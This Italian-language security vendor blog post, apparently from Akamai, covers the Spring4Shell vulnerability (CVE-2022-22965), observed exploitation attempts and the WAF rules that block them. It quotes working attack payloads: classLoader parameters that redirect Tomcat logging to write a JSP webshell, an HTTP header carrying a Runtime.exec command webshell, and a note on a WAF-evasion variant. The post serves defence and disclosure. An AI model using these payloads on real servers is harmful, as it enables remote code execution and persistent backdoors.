La mitigazione tempestiva della vulnerabilità "Spring4Shell" in Spring Core
Panoramica
Il 30 marzo 2022, la comunità per la sicurezza si è resa ampiamente conto delle vulnerabilità correlate con Spring, il noto sistema open-source di Java. La soluzione Adaptive Security Engine di Akamai è riuscita a rilevare tempestivamente gli attacchi a questa vulnerabilità e a proteggere i clienti Akamai (vedere più avanti per ulteriori informazioni).
La tempistica di rilevamento della vulnerabilità e le altre informazioni segnalate, purtroppo, hanno creato confusione su ciò che stava accadendo, pertanto abbiamo voluto aggiornare i clienti e le altre parti coinvolte sulla situazione.
Sono due le vulnerabilità correlate ai prodotti Spring:
La vulnerabilità CVE-2022-22963 è stata rilevata in Spring Cloud Function (una tecnologia open-source senza server) a cui è stata applicata una patch il 24 marzo e sono stati resi pubblicamente disponibili degli exploit. (Nota: su questa vulnerabilità, fare riferimento ad un blog separato.)
L'altra vulnerabilità rilevata in Spring Core, denominata "Spring4Shell", è stata indicata con il codice CVE-2022-22965. La vulnerabilità di Spring Core viene considerata di maggiore impatto perché influisce sulla libreria principale, pertanto potrebbe interessare potenzialmente ogni progetto Spring. Tuttavia, si è animata una discussione sulla possibilità di sfruttare questa vulnerabilità che richiede una speciale configurazione da cui mettono esplicitamente in guardia anche gli sviluppatori di Spring perché considerata non sicura. A questo punto, per chiarire la questione, analizzeremo in dettaglio questa vulnerabilità.
Lo stesso giorno in cui è diventata disponibile la vulnerabilità di Spring Core ("Spring4Shell"), ossia il 30 marzo, abbiamo iniziato a rilevare alcuni tentativi di sfruttamento.
I primi tentativi di sfruttamento
Nei primi tentativi di sfruttamento della vulnerabilità, i criminali hanno cercato di implementare una webshell (ossia un file backdoor di controllo remoto basato sul web), a cui poter accedere in un secondo momento per eseguire comandi arbitrari sul server, in modo da infettare potenzialmente il server con altri programmi malware o attaccare la rete presa di mira.
In altri casi, alcune società si sono messe alla prova riguardo a questa vulnerabilità.
Ecco alcuni esempi di attacchi da noi registrati:
Diverse varianti di exploit
Sono stati molti i modi con cui è stata sfruttata la vulnerabilità di Spring Core, tuttavia, in ciascuna delle varianti, la richiesta di exploit ha riconfigurato i parametri di accesso. In tal modo, gli autori degli attacchi hanno impostato il nome della pagina della webshell, l'estensione del file e la directory in cui verrà scritta:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bf%7Di
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=%48%3a%5c%6d
class.module.classLoader.resources.context.parent.pipeline.first.prefix=aaa
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
Il contenuto del file url-decoded nel parametro class...first.pattern è %{f}i.
Il valore di f in fase di valutazione (by %{}) è ricavato dall'intestazione HTTP denominata f.
GET /aaa HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, come Gecko) Chrome/99.0.7113.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
f: <%Runtime.getRuntime().exec(request.getParameter("cmd"))%>
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Il primo exploit proof-of-concept è stato pubblicato da un ricercatore prima della comunicazione ufficiale da parte degli sviluppatori di Spring, il che ha confuso la situazione. Il ricercatore cercò subito di insabbiare la cosa. Tuttavia, l'exploit era già diventato disponibile sul portale vx-underground (la comunità dei ricercatori della sicurezza).
Quando l'exploit apparve nuovamente, iniziò come una variante in una versione più compatta. La principale differenza tra le varianti consiste nell'impostazione dei parametri vulnerabili tramite i parametri POST o in una richiesta GET tramite una stringa di query. Il secondo cambiamento ha riguardato la riduzione del numero di richieste inviate al server ad una sola richiesta.
La seconda versione dell'exploit, inoltre, include una potenziale evasione del filtro di input o WAF, mentre nasconde i modelli dei codici sensibili che vengono solitamente cercati dai controlli di sicurezza, come <% , %> e Runtime.getRuntime(). Il contenuto del file della webshell caricato include i segnaposto che verranno sostituiti da Spring con il contenuto dei valori di intestazione corrispondenti.
Pertanto, %{suffix}i nel contenuto di class...first.pattern verrà sostituito da %>//, che è il valore dell'intestazione HTTP del suffisso.
Mitigazione con la soluzione Adaptive Security Engine
Tutti i clienti Akamai Kona Site Defender sono protetti. La soluzione Akamai Adaptive Security Engine è riuscita a rilevare tempestivamente questa vulnerabilità di Spring Core con le regole Command Injection esistenti:
3000023 - Esecuzione di codice remoto tramite manipolazione Apache Struts ClassLoader
Altri set di regole Kona Site Defender riescono a mitigare questa vulnerabilità:
Gruppo di attacchi automatizzati:
1000005 - Command Injection
Set di regole Kona:
3000023 - Esecuzione di codice remoto tramite manipolazione Apache Struts ClassLoader
Riepilogo
La vulnerabilità di Spring Core ("Spring4Shell") è potenzialmente in grado di influire su molte organizzazioni poiché può essere sfruttata facilmente. Possiamo prevedere che gli autori degli attacchi si adatteranno a questa vulnerabilità, lanciando campagne per attacchi di crypto-mining, DDoS e ransomware: un'ottima opportunità per accedere alle organizzazioni nei prossimi anni. Tuttavia, i clienti Akamai sono protetti grazie alla soluzione Adaptive Security Engine e ai set di regole Kona Site Defender.
Il team addetto alla ricerca sulle minacce di Akamai sta monitorando la capacità di sfruttamento di questa vulnerabilità, informando man mano che saranno registrate nuove varianti.